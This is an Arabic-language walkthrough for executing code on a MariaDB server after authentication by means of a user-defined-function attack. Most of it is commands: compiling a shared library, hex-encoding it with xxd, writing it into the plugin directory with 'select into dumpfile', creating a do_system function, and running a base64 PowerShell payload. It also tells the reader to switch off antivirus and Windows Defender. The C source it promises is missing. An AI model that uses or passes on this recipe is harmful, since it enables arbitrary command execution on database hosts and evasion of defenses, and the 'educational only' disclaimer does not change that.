
تنفيذ كود بعد المصادقة على قاعدة البيانات
يوفّر هذا الدليل خطوات تفصيلية لإعادة إنتاج هجوم الدوال المعرّفة من قبل المستخدم (UDF) على نظام قاعدة بيانات. يُرجى ملاحظة أن هذا الاستغلال قد يعمل على بعض الأنظمة، لكنه قد لا يعمل بشكل صحيح على البنى 64-بت أو بعض الإصدارات.
تحذير: هذا لأغراض تعليمية فقط. الاستخدام غير المصرح به لهذه التقنيات غير قانوني وغير أخلاقي.
أولاً، أنشئ ملفاً باسم exploit.c وأضف الكود التالي:
### 2. ترجمة كود UDF
قم بترجمة كود الاستغلال باستخدام المترجم `x86_64-w64-mingw32-gcc`:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
أنشئ ملف كائن مشترك (exploit.so) من ملف الكائن المُترجم:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
استخدم xxd لتحويل ملف .so إلى صيغة سداسية عشرية:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
انسخ القيمة السداسية العشرية من hex_value.txt ونفّذ الأمر التالي في قاعدة البيانات الخاصة بك:
DB> set @shell = 0x<hex_value>;
ابحث عن مجلد الإضافات عن طريق تشغيل:
DB> select @@plugin_dir;
ثم أنشئ ملف الكائن المشترك الخاص بالاستغلال في مجلد الإضافات:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
ملاحظة: عدّل المسار وفقاً لإعدادات نظامك أو مجلد الإضافات المحدد.
أنشئ دالة جديدة في قاعدة البيانات باستخدام الاستغلال:
DB> create function do_system returns integer soname 'exploit.so';
عطّل أي برنامج مكافحة فيروسات أو Windows Defender قد يحجب الاستغلال. ثم نفّذ أمراً باستخدام الدالة المنشأة حديثاً:
DB> select do_system('powershell base64 here');
استبدل 'powershell base64 here' بحمولة base64 المشفرة للأمر الذي ترغب في تنفيذه.
إخلاء مسؤولية: هذه الوثيقة مخصصة للأغراض التعليمية وأبحاث الأمن فقط. يمكن أن يؤدي إساءة استخدام هذه المعلومات إلى تهم جنائية وعقوبات قانونية شديدة. احصل دائماً على إذن من السلطات المختصة قبل اختبار أي ثغرات على شبكة أو نظام.